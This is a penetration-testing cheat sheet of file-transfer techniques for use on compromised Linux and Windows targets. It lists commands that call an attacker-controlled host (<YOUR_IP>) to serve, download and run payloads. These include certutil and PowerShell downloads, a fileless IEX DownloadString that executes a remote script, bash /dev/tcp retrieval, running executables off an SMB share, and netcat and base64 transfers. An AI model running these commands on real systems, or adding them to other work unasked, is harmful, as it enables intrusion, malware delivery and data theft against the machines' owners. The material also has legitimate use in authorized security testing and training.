File Transfers

Host a server (your box)

Python HTTP server:

python3 -m http.server 80

PHP server (if python is missing):

php -S 0.0.0.0:80

SMB server (great for Windows):

impacket-smbserver share . -smb2support

Download to Linux

wget:

wget http://<YOUR_IP>/file -O /tmp/file

curl:

curl http://<YOUR_IP>/file -o /tmp/file

No wget/curl, use bash /dev/tcp:

exec 3<>/dev/tcp/<YOUR_IP>/80; echo -e "GET /file HTTP/1.0\r\n\r\n" >&3; cat <&3 > /tmp/file

Download to Windows

certutil:

certutil -urlcache -split -f http://<YOUR_IP>/file.exe file.exe

PowerShell Invoke-WebRequest:

Invoke-WebRequest http://<YOUR_IP>/file.exe -OutFile file.exe

PowerShell WebClient:

(New-Object Net.WebClient).DownloadFile('http://<YOUR_IP>/f.exe','f.exe')

Fileless execute:

IEX(New-Object Net.WebClient).DownloadString('http://<YOUR_IP>/s.ps1')

SMB transfer (Windows)

Copy off the share:

copy \\<YOUR_IP>\share\file.exe .

Run directly off the share:

\\<YOUR_IP>\share\file.exe

base64 copy-paste (no network path)

Encode on the source:

base64 -w0 file

Decode on the destination:

echo <BLOB> | base64 -d > file

nc / netcat

Receiver:

nc -lvnp 4444 > file

Sender:

nc <IP> 4444 < file

On Windows targets certutil and PowerShell are almost always present. On Linux, fall back to /dev/tcp and base64 when wget/curl are stripped.